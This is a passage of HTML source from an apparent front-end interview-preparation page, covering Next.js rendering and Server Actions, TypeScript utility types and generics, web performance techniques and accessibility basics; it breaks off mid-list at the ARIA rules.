&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// app/posts/[slug]/page.tsx
export async function generateStaticParams() {
  const posts = await getPosts()
  return posts.map((post) =&amp;gt; ({ slug: post.slug }))
}

export default async function PostPage({ params }: { params: Promise&amp;lt;{ slug: string }&amp;gt; }) {
  const { slug } = await params
  const post = await fetch(`https://api.example.com/posts/${slug}`, {
    next: { revalidate: 60 },
  }).then((res) =&amp;gt; res.json())

  return &amp;lt;article&amp;gt;{post.title}&amp;lt;/article&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since Next.js 15, &lt;code&gt;fetch&lt;/code&gt; is &lt;strong&gt;not&lt;/strong&gt; cached by default, and &lt;code&gt;params&lt;/code&gt;, &lt;code&gt;searchParams&lt;/code&gt;, &lt;code&gt;cookies()&lt;/code&gt; and &lt;code&gt;headers()&lt;/code&gt; are async.&lt;/p&gt;
&lt;h3&gt;What makes a route static or dynamic?&lt;/h3&gt;
&lt;p&gt;In the App Router, a route is &lt;strong&gt;static&lt;/strong&gt; (built once) unless it uses something only known at request time. These make it &lt;strong&gt;dynamic&lt;/strong&gt; (rendered per request):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cookies()&lt;/code&gt;, &lt;code&gt;headers()&lt;/code&gt; or &lt;code&gt;searchParams&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fetch&lt;/code&gt; with &lt;code&gt;cache: &apos;no-store&apos;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;export const dynamic = &apos;force-dynamic&apos;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Run &lt;code&gt;next build&lt;/code&gt;: the output shows which routes are static (○) and which are dynamic (ƒ).&lt;/p&gt;
&lt;h3&gt;What is PPR (Partial Prerendering)?&lt;/h3&gt;
&lt;p&gt;One page, both static and dynamic. The static shell (layout, nav, product details) is prerendered and sent at once. The dynamic parts (cart, personal recommendations) sit inside &lt;code&gt;&amp;lt;Suspense&amp;gt;&lt;/code&gt; and stream in when they&apos;re ready. In recent versions this is part of &lt;strong&gt;Cache Components&lt;/strong&gt;, with the &lt;code&gt;&apos;use cache&apos;&lt;/code&gt; directive marking what can be cached.&lt;/p&gt;
&lt;h3&gt;What are Server Actions?&lt;/h3&gt;
&lt;p&gt;Async functions marked &lt;code&gt;&apos;use server&apos;&lt;/code&gt; that run on the server but can be called from the client, most often from a &lt;code&gt;&amp;lt;form action&amp;gt;&lt;/code&gt;. No API route needed. The form still works before JS loads.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/actions.ts
&apos;use server&apos;

export async function createPost(formData: FormData) {
  await db.post.create({ data: { title: String(formData.get(&apos;title&apos;)) } })
  revalidatePath(&apos;/posts&apos;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form action={createPost}&amp;gt;
  &amp;lt;input name=&quot;title&quot; /&amp;gt;
  &amp;lt;button type=&quot;submit&quot;&amp;gt;Create&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Treat them like public API endpoints: validate the input and check auth in every action.&lt;/p&gt;
&lt;h3&gt;What built-in optimisations does Next.js give you?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;next/image&lt;/code&gt; — resizes, lazy loads and serves modern formats (WebP/AVIF), and prevents layout shift.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;next/link&lt;/code&gt; — client-side navigation and prefetching of linked pages.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;next/font&lt;/code&gt; — self-hosts fonts at build time, so there&apos;s no request to Google and no layout shift.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;next/script&lt;/code&gt; — control when third-party scripts load (&lt;code&gt;afterInteractive&lt;/code&gt;, &lt;code&gt;lazyOnload&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Automatic code splitting per route.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What is middleware?&lt;/h3&gt;
&lt;p&gt;Code that runs &lt;strong&gt;before&lt;/strong&gt; a request reaches a page, e.g. for redirects, rewrites, auth checks and A/B tests. It lives in &lt;code&gt;middleware.ts&lt;/code&gt; at the project root (renamed to &lt;code&gt;proxy.ts&lt;/code&gt; in Next.js 16). Keep it fast: it runs on every matching request.&lt;/p&gt;
&lt;h3&gt;What is the difference between the Edge and Node.js runtimes?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt; (default): the full Node API. Use it for most things.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edge&lt;/strong&gt;: a smaller, web-standard runtime that runs close to the user and starts fast. No filesystem and many npm packages won&apos;t work.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Typescript questions&lt;/h2&gt;
&lt;p&gt;More detail: &lt;a href=&quot;/notes/typescript-type-guard/&quot;&gt;type guards and narrowing&lt;/a&gt; and &lt;a href=&quot;/notes/typescript-functions/&quot;&gt;TypeScript functions&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Do you like TypeScript? If so, why? If not, why not?&lt;/h3&gt;
&lt;h3&gt;What are some of your favourite features?&lt;/h3&gt;
&lt;p&gt;Type checking,&lt;/p&gt;
&lt;h3&gt;What does the &lt;code&gt;Partial&lt;/code&gt; utility type do?&lt;/h3&gt;
&lt;p&gt;Make all properties in &lt;code&gt;T&lt;/code&gt; optional&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface User {
  id: number
  name: string
}

// all properties optional — handy for update payloads
type PartialUser = Partial&amp;lt;User&amp;gt;
// { id?: number; name?: string }

function updateUser(id: number, changes: Partial&amp;lt;User&amp;gt;) {
  /* ... */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What does the built-in &lt;code&gt;Record&lt;/code&gt; type do?&lt;/h3&gt;
&lt;p&gt;Construct a type with a set of properties &lt;code&gt;K&lt;/code&gt; of type &lt;code&gt;T&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Role = &apos;admin&apos; | &apos;editor&apos; | &apos;viewer&apos;

const permissions: Record&amp;lt;Role, boolean&amp;gt; = {
  admin: true,
  editor: true,
  viewer: false,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More built-in types: &lt;a href=&quot;/notes/typescript/#built-in-utility-types&quot;&gt;/notes/typescript/#built-in-utility-types&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;What is a generic and how might you use one?&lt;/h3&gt;
&lt;p&gt;Used to pass a type into another type/interface. Like when you need to specify the return type of a generic function.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function identity&amp;lt;T&amp;gt;(value: T): T {
  return value
}

identity&amp;lt;string&amp;gt;(&apos;hello&apos;) // T is string
identity(42) // T inferred as number

interface Box&amp;lt;T&amp;gt; {
  contents: T
}
const stringBox: Box&amp;lt;string&amp;gt; = { contents: &apos;hi&apos; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Web performance questions&lt;/h2&gt;
&lt;h3&gt;How would you use critical rendering path optimisation to improve the performance of a web page?&lt;/h3&gt;
&lt;p&gt;The critical rendering path is the sequence of steps the browser takes to convert the HTML, CSS, and JavaScript into pixels on the screen. Optimising the critical rendering path can improve the performance of a web page by reducing the time it takes for the content to be visible to the user.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Deferring the loading of non-critical JavaScript&lt;/li&gt;
&lt;li&gt;Code-Splitting&lt;/li&gt;
&lt;li&gt;Inlining Critical CSS&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What are some common performance bottlenecks in web applications?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Slow server response time: The time it takes for the server to process a request and send back a response can be a bottleneck if the server is not optimised or is overloaded with requests.&lt;/li&gt;
&lt;li&gt;Unoptimised database queries: Poorly written or numerous database queries can slow down the performance of a web application by causing delays in retrieving data.&lt;/li&gt;
&lt;li&gt;Slow page load time: If a web page takes too long to load, it can lead to a poor user experience and negatively impact the performance of the web application.&lt;/li&gt;
&lt;li&gt;Large or numerous JavaScript files: Loading and executing large or numerous JavaScript files can slow down the performance of a web application, especially on slower devices or network connections.&lt;/li&gt;
&lt;li&gt;Unoptimised images: Large or unoptimised images can slow down the performance of a web page by taking longer to load.&lt;/li&gt;
&lt;li&gt;Bloated and complex CSS: Web pages with complex CSS can slow down the performance of a web application, especially when the browser has to spend more time parsing and rendering the styles.&lt;/li&gt;
&lt;li&gt;Lack of browser caching: Not utilizing browser caching can result in a slower experience for returning users as the browser will have to download resources again.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Explain how service workers can be used to improve the performance of a web page&lt;/h3&gt;
&lt;p&gt;Service workers are a type of script that can run in the background of a web page, separate from the main JavaScript thread. They are used to handle network requests, cache resources, and provide offline functionality to web pages. Service workers can be used to improve the performance of a web page in several ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Offline caching: Service workers can be used to cache resources, such as HTML, CSS, and JavaScript files, so that they can be accessed offline. This means that if a user visits a page again when they are offline, they will still be able to access the page&apos;s content.&lt;/li&gt;
&lt;li&gt;Background synchronization: Service workers can be used to send data from a web page to a server even when the user is offline. This means that when the user comes back online, the data can be sent to the server and the user will not lose any data.&lt;/li&gt;
&lt;li&gt;Push notifications: Service workers can be used to receive push notifications even when a web page is closed. This means that users can receive notifications even when they are not actively using the web page.&lt;/li&gt;
&lt;li&gt;Performance optimisation: Service workers can be used to handle network requests, such as fetching resources or sending data to a server. By handling these requests in the background, service workers can improve the performance of a web page by reducing the load on the main JavaScript thread.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How would you use browser developer tools to analyse and improve the performance of a web page?&lt;/h3&gt;
&lt;p&gt;Browser developer tools are a powerful tool for analysing and improving the performance of a web page. Here are the steps that can be taken to use browser developer tools to analyse and improve the performance of a web page:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the developer tools by pressing F12 or Ctrl+Shift+I in your browser.&lt;/li&gt;
&lt;li&gt;Once the developer tools are open, select the &quot;Performance&quot; tab. This will open a timeline of the browser&apos;s activity during the loading of the web page.&lt;/li&gt;
&lt;li&gt;Click on the &quot;Record&quot; button to start recording the performance of the web page. Interact with the web page to simulate the actions of a user.&lt;/li&gt;
&lt;li&gt;Once you&apos;ve finished interacting with the web page, click on the &quot;Stop&quot; button to stop the recording. The timeline will now show a detailed breakdown of the browser&apos;s activity during the recording.&lt;/li&gt;
&lt;li&gt;Analyse the timeline by looking for any performance bottlenecks or issues. Some common issues to look for include:&lt;/li&gt;
&lt;li&gt;Long or blocked main thread: If the main thread is blocked for long periods of time, the browser may not be able to respond to user input or update the screen.&lt;/li&gt;
&lt;li&gt;Long or blocked rendering: If the rendering is blocked for long periods of time, the browser may not be able to display the web page.&lt;/li&gt;
&lt;li&gt;Long load time: If the web page takes a long time to load, the user may experience a delay before they can interact with the web page.&lt;/li&gt;
&lt;li&gt;Once you&apos;ve identified the issue, use the other tools available in the developer tools to identify the cause of the issue, such as the network tab to see the resources loaded and their size, time taken to load and other details.&lt;/li&gt;
&lt;li&gt;Once you&apos;ve identified the cause of the issue, use the optimisation techniques to improve the performance of the web page, for example, minifying and compressing resources, using browser caching, or optimising images.&lt;/li&gt;
&lt;li&gt;Repeat steps 3-7 to see if the performance has improved after making the changes.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;How would you optimise the load time of a web page?&lt;/h3&gt;
&lt;p&gt;There are many techniques that can be used to optimise the load time of a web page, some include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Minimise the number of HTTP requests: The more resources a web page has to load, the longer it will take. Minimising the number of resources (such as images, stylesheets, and scripts) can help reduce the number of HTTP requests, and therefore speed up the load time of a web page.&lt;/li&gt;
&lt;li&gt;Minify and compress resources: Minifying resources means removing unnecessary characters and whitespace from code, while compressing resources means reducing their file size. Both of these techniques can help reduce the size of resources and therefore speed up their download time.&lt;/li&gt;
&lt;li&gt;Use a content delivery network (CDN): A CDN can help speed up the load time of a web page by distributing resources across multiple servers in different locations. This means that resources are loaded from a server that is geographically closer to the user, which can help reduce the download time.&lt;/li&gt;
&lt;li&gt;Use browser caching: By utilizing browser caching, the browser will save certain resources on the user&apos;s device and not have to re-download it on subsequent visits.&lt;/li&gt;
&lt;li&gt;Defer the loading of non-critical resources: Some resources on a web page might not be needed right away, such as analytics tracking scripts, or ads. By deferring the loading of these non-critical resources, the web page can load faster.&lt;/li&gt;
&lt;li&gt;Optimise images: Large, unoptimised images can significantly slow down the load time of a web page. Optimising images can help reduce their file size, making them faster to download.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Explain the difference between layout, painting, and compositing in relation to web page performance&lt;/h3&gt;
&lt;p&gt;Layout, painting, and compositing are all processes that are performed by the browser when rendering a web page. These processes work together to create the final image that the user sees on their screen.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Layout&lt;/strong&gt;: The layout process is responsible for calculating the position and size of all elements on the web page. This includes calculating the dimensions of elements, such as width, height, and position, and determining how elements are laid out on the screen.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Painting&lt;/strong&gt;: The painting process is responsible for filling in the pixels of the elements on the screen. This includes applying colour, images, and other visual styles to elements.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compositing&lt;/strong&gt;: The compositing process is responsible for combining all of the elements on the screen into a single image. This includes combining elements that are layered on top of each other, such as drop-down menus or modal dialogs, and applying visual effects, such as transparency or 3D transforms.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Optimising the performance of these three processes can improve the overall performance of a web page. For example, minimising layout changes can help to reduce the number of paint operations required, and reducing the number of compositing layers can improve the performance of visual effects.&lt;/p&gt;
&lt;p&gt;These processes can be profiled using browser developer tools such as chrome dev tools to understand where the performance bottlenecks are and optimise the page for better performance.&lt;/p&gt;
&lt;h3&gt;Explain the concept of caching and how to use it to enhance the performance of a web page.&lt;/h3&gt;
&lt;p&gt;Caching is the process of storing frequently-used data in a temporary storage area so that it can be quickly retrieved without the need to fetch it from its original source. Caching can be used to improve the performance of a web page in several ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Browser caching: By using HTTP headers, the browser can be instructed to cache certain resources on the client-side, such as images, CSS, and JavaScript. This means that when the user visits the page again, they do not need to download these resources again, resulting in faster page load times.&lt;/li&gt;
&lt;li&gt;Server caching: Server-side caching can be used to store frequently requested data, such as the results of a database query, in memory. This means that the data can be quickly retrieved without the need to execute the query again, resulting in faster page load times.&lt;/li&gt;
&lt;li&gt;CDN caching: By using a Content Delivery Network (CDN), the resources of a web page can be cached on servers located close to the user, resulting in faster page load times.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cache-control headers: By setting cache-control headers, web developers can specify how long resources should be cached for and when they should be revalidated.&lt;/p&gt;
&lt;h3&gt;Can you explain what web workers are and give some examples of when you&apos;d use them?&lt;/h3&gt;
&lt;p&gt;Web workers are a JavaScript feature that allows developers to run scripts in the background, separate from the main thread. This can improve the performance of a web page by allowing the main thread to continue executing other scripts and responding to user input.&lt;/p&gt;
&lt;p&gt;One common use case for web workers is offloading heavy computations, such as image processing or data manipulation, from the main thread. By running these tasks in the background using web workers, the main thread can continue to respond to user input and maintain a smooth user experience.&lt;/p&gt;
&lt;p&gt;Another use case is to improve the responsiveness of the user interface. For example, when validating a form, the web worker can perform the validation in the background while the main thread is free to continue handling user input. This can make the form validation process feel more responsive to the user.&lt;/p&gt;
&lt;p&gt;In Single-page Applications (SPAs), web workers can be used to handle complex logic or data manipulation in the background while the user interacts with the page. This can improve the performance of the SPA by reducing the amount of work the main thread needs to do and allowing the application to respond more quickly to user input.&lt;/p&gt;
&lt;p&gt;In Progressive Web Applications (PWAs), web workers can be used to handle background tasks such as caching and background synchronization while the user interacts with the page. This can improve the performance of the PWA by reducing the amount of work the main thread needs to do, and allowing the application to respond more quickly to user input.&lt;/p&gt;
&lt;p&gt;By using web workers, developers can improve the performance of a web page by running heavy computations and tasks in the background, resulting in a smooth and responsive user experience. It&apos;s important to note that web workers are not supported in all browsers, and developers should ensure that the web application can gracefully degrade in browsers that do not support web workers.&lt;/p&gt;
&lt;h3&gt;What are some ways you may improve your website&apos;s scrolling performance?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;requestAnimationFrame&lt;/code&gt; to synchronize scrolling with the browser&apos;s repaint cycle.&lt;/li&gt;
&lt;li&gt;Debounce scroll events to reduce the number of times the event handler is called.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;translate3d&lt;/code&gt; or &lt;code&gt;will-change&lt;/code&gt; properties to promote elements to their own compositing layer, this reduces the amount of repainting required.&lt;/li&gt;
&lt;li&gt;Use fixed position elements when possible, as they are composited separately from the rest of the page.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;overflow: hidden&lt;/code&gt; or &lt;code&gt;overflow: scroll&lt;/code&gt; on parent elements to improve performance of child elements.&lt;/li&gt;
&lt;li&gt;Use CSS transitions and animations instead of JavaScript to animate elements during scrolling.&lt;/li&gt;
&lt;li&gt;Use hardware accelerated transforms and animations, such as &lt;code&gt;translate3d&lt;/code&gt;, &lt;code&gt;scale&lt;/code&gt;, and &lt;code&gt;rotate&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use a virtual scrolling technique for large lists of items to only render the items currently visible on the viewport.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How would you measure the performance of a web page?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Use browser developer tools: Most modern web browsers come with built-in developer tools that can be used to measure the performance of a web page. These tools can provide information on page load times, resource loading times, and more. These tools can be accessed by pressing F12 or Ctrl+Shift+I and provide a set of features for web developers to inspect, debug, and optimise the web pages. Some of the common features that browser developer tools provide to measure the performance of a web page include:
&lt;ul&gt;
&lt;li&gt;Network tab: This tab allows you to view the requests and responses made by the browser to load the web page, and their corresponding timing information like time to first byte, download time, and total time.&lt;/li&gt;
&lt;li&gt;Performance tab: This tab provides a timeline of the browser&apos;s activity during the loading of the web page, including metrics like time to first paint, time to first contentful paint, and time to interactive.&lt;/li&gt;
&lt;li&gt;Audits tab: This tab allows you to run an automated performance audit of the web page and provide recommendations to improve the performance, accessibility, best practices, and SEO of the web page.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use web page performance testing tools: There are many online tools available that can be used to test the performance of a web page. Some examples include Google PageSpeed Insights, GTmetrix, and WebPageTest. These tools can provide detailed information on page load times, resource loading times, and more.&lt;/li&gt;
&lt;li&gt;Use browser performance APIs: Browsers also provide performance API like Navigation Timing API and User Timing API, that can be used to get performance metrics like time to first paint, time to first contentful paint, time to first input delay etc.&lt;/li&gt;
&lt;li&gt;Monitor real-user performance: Tools like Google Analytics, or browser extensions like SpeedTracker, can provide real-user performance data. This can give you a good idea of how your web page is performing for your users.&lt;/li&gt;
&lt;li&gt;Use synthetic monitoring: Synthetic monitoring allows you to simulate a user visiting your website from different locations and on different devices, this way you can monitor the performance of your website from various conditions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How would you use a performance budget to ensure that a web page performs well on different devices and network conditions?&lt;/h3&gt;
&lt;p&gt;A performance budget is a set of guidelines and constraints that are put in place to ensure that a web page performs well on different devices and network conditions. Here are the steps that can be taken to use a performance budget to ensure that a web page performs well:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Identify the key performance metrics that are important for the web page, such as load time, time to first paint, and time to interactive.&lt;/li&gt;
&lt;li&gt;Set realistic and achievable targets for each of the key performance metrics based on the devices and network conditions that the web page will be accessed from.&lt;/li&gt;
&lt;li&gt;Use tools such as Lighthouse or WebPageTest to measure the current performance of the web page and compare it to the targets set in the performance budget.&lt;/li&gt;
&lt;li&gt;Identify any areas where the web page is not meeting the targets set in the performance budget.&lt;/li&gt;
&lt;li&gt;Use optimisation techniques to improve the performance of the web page, such as minifying and compressing resources, using browser caching, or optimising images.&lt;/li&gt;
&lt;li&gt;Continuously monitor the performance of the web page and make adjustments as needed to ensure that it meets the targets set in the performance budget.&lt;/li&gt;
&lt;li&gt;Use the budget to track the performance of the website through the development and deployment process, and to make informed decisions about what resources should be loaded and when.&lt;/li&gt;
&lt;li&gt;Use the budget to evaluate the performance of the website after it is deployed, and to make adjustments as needed to ensure that it continues to meet the targets set in the performance budget.&lt;/li&gt;
&lt;li&gt;Using a performance budget in this way helps to ensure that the web page will perform well on different devices and network conditions, providing a better experience for users.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How would you optimise the performance of a web page for different network conditions?&lt;/h3&gt;
&lt;p&gt;Optimising the performance of a web page for different network conditions involves considering the types of resources that are loaded on the page, the size of those resources, and how they are loaded.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Resource optimisation: Reduce the size of resources, such as images and JavaScript files, by compressing them and using appropriate image formats like JPEG2000, JPEG XR, and WebP.&lt;/li&gt;
&lt;li&gt;Code splitting: Use code splitting to load only the necessary resources for a specific page, this will not only reduce the time to load the resources but also reduces the data usage.&lt;/li&gt;
&lt;li&gt;Minimise the number of HTTP requests: Minimise the number of HTTP requests by combining multiple files into one and using browser caching.&lt;/li&gt;
&lt;li&gt;Use a Content Delivery Network (CDN): A CDN can help to distribute resources to users based on their geographic location, which can help to improve the performance of a web page for users with slower network connections.&lt;/li&gt;
&lt;li&gt;Progressive loading: Use progressive loading techniques, such as lazy loading, to load only the necessary resources for the user.&lt;/li&gt;
&lt;li&gt;Optimise for offline: Use service workers to cache resources, so that they can be accessed offline. This means that if a user visits a page again when they are offline, they will still be able to access the page&apos;s content.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Explain the concept of code splitting and its impact on enhancing the performance of a web page.&lt;/h3&gt;
&lt;p&gt;Code splitting is a technique that allows you to divide your codebase into smaller chunks that can be loaded on-demand as the user navigates through your web page. This can improve the performance of your web page by reducing the amount of code that needs to be loaded and parsed on initial load.&lt;/p&gt;
&lt;p&gt;Here are the steps that can be taken to use code splitting to improve the performance of a web page:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use a bundler such as Webpack or Rollup to create multiple chunks of your codebase.&lt;/li&gt;
&lt;li&gt;Use dynamic imports to load chunks of code as they are needed, rather than loading all code up front.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;preload&lt;/code&gt; and &lt;code&gt;prefetch&lt;/code&gt; resource hints to tell the browser which chunks of code are likely to be needed next, so that they can be loaded in advance.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;import()&lt;/code&gt; function to load chunks of code on-demand.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;splitChunks&lt;/code&gt; option in &lt;em&gt;webpack&lt;/em&gt; to automatically split your code into chunks based on usage.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By splitting your codebase into smaller chunks, code splitting can greatly improve the performance of your web page, especially for users on slower network connections. Code splitting can also help to reduce the amount of code that needs to be loaded and parsed on initial load, which can help to improve the time-to-interactive of your web page.&lt;/p&gt;
&lt;h3&gt;How would you use lazy loading to improve the performance of a web page?&lt;/h3&gt;
&lt;p&gt;Lazy loading is a technique that can be used to improve the performance of a web page by only loading resources when they are needed. Here are the steps that can be taken to use lazy loading to improve the performance of a web page:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Identify the resources on the web page that can be lazily loaded, such as images, videos, or other heavy resources.&lt;/li&gt;
&lt;li&gt;Use a library or framework such as &lt;a href=&quot;/notes/intersection-observer/&quot;&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt;&lt;/a&gt; or LazyLoad to implement lazy loading for these resources.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;loading&lt;/code&gt; attribute to specify how the browser should treat images that are lazily loaded. For example, setting the attribute to &lt;code&gt;lazy&lt;/code&gt; will tell the browser to only load the image when it is visible in the viewport.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;data-src&lt;/code&gt; attribute instead of the src attribute for images that are lazily loaded. This allows the browser to load the image when it is scrolled into view.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;data-srcset&lt;/code&gt; attribute instead of the srcset attribute for images that are lazily loaded. This allows the browser to load the correct size image based on the device and viewport.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;data-background&lt;/code&gt; attribute instead of the background attribute for elements that are lazily loaded. This allows the browser to load the background image when the element is scrolled into view.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;data-background-set&lt;/code&gt; attribute instead of the background-set attribute for elements that are lazily loaded. This allows the browser to load the correct background image based on the device and viewport.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By only loading resources when they are needed, lazy loading can greatly improve the performance of a web page, especially for users on slower network connections. Lazy loading can also help to reduce the amount of data that needs to be loaded, which can help to reduce the cost of data usage for users.&lt;/p&gt;
&lt;h3&gt;Do you know of any tools that help with performance budgeting?&lt;/h3&gt;
&lt;p&gt;Yes, there are several tools that can help with performance budgeting. Some popular ones include:&lt;/p&gt;
&lt;p&gt;Lighthouse: This is an open-source tool that is built into the Chrome Developer Tools and can be used to audit the performance of a web page. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.webpagetest.org/&quot;&gt;WebPageTest&lt;/a&gt;: This is an open-source tool that allows you to test the performance of a web page on different devices and network conditions. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.speedcurve.com/&quot;&gt;SpeedCurve&lt;/a&gt;: This is a paid tool that allows you to monitor the performance of a web page over time. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://calibreapp.com/&quot;&gt;Calibre&lt;/a&gt;: This is a paid tool that allows you to create and manage performance budgets for your web pages. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.speedkit.com/&quot;&gt;SpeedKit&lt;/a&gt;: This is a paid tool that allows you to improve the performance of a web page by optimising the delivery of resources. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These tools can help you to identify performance bottlenecks, set performance budgets, and monitor the performance of your web pages over time.&lt;/p&gt;
&lt;h3&gt;Explain how you would use the RAIL performance model to improve the performance of a web page.&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;RAIL&lt;/strong&gt; is a performance model that stands for Response, Animation, Idle, Load. It is a user-centric performance model that helps developers understand how to create fast and smooth user experiences.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Response&lt;/strong&gt;: The browser should respond to user input in under 100ms. This means that when a user interacts with the page, such as clicking a button, the browser should respond quickly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Animation&lt;/strong&gt;: Animations should run at 60 frames per second (fps). This means that animations should be smooth and not janky.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Idle&lt;/strong&gt;: The browser should use idle time to perform background tasks and prepare for the next user interaction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Load&lt;/strong&gt;: The page should be fully loaded in under 1000ms. This means that the page should be visible and usable in under 1 second.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To improve the performance of a web page using the RAIL model, developers should focus on minimising the time it takes to respond to user input, ensuring animations run smoothly, making use of idle time, and reducing the time it takes to fully load the page.&lt;/p&gt;
&lt;h2&gt;Accessibility questions&lt;/h2&gt;
&lt;p&gt;Accessibility (a11y) is about ensuring that digital technology is usable by people with disabilities. Accessibility is an important aspect of diversity, equity, and inclusion (DEI).&lt;/p&gt;
&lt;h3&gt;How you audit accessibility?&lt;/h3&gt;
&lt;p&gt;Start an accessibility audit by using tools such as Lighthouse and Axe tool. Once I fix all the issues reported by these tools, I move to the manual testing of the web application especially by not using my keyboard, use screen readers such as voiceover to see how the application is working in the real world.&lt;/p&gt;
&lt;h3&gt;How you will decide when to use &lt;code&gt;button&lt;/code&gt; or &lt;code&gt;a&lt;/code&gt; tag?&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;button&lt;/code&gt; is when we want to take an action such as submit the form, open a popup, etc. Whereas, an &lt;code&gt;a&lt;/code&gt; tag is when we want to navigate (or redirect) the user to another page or part of a page.&lt;/p&gt;
&lt;h3&gt;What is ARIA?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA&quot;&gt;Accessible Rich Internet Applications&lt;/a&gt; (ARIA) is a set of roles and attributes that define ways to make web content and web applications (especially those developed with JavaScript) more accessible to people with disabilities.&lt;/p&gt;
&lt;p&gt;It supplements HTML so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism. For example, ARIA enables accessible JavaScript widgets, form hints and error messages, live content updates, and more.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/TR/using-aria/#rule1&quot;&gt;first rule of ARIA&lt;/a&gt; use is &lt;em&gt;&quot;If you can use a native HTML element or attribute with the semantics and behavior you require already built in, instead of re-purposing an element and adding an ARIA role, state or property to make it accessible, then do so.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Other rules include:&lt;/p&gt;
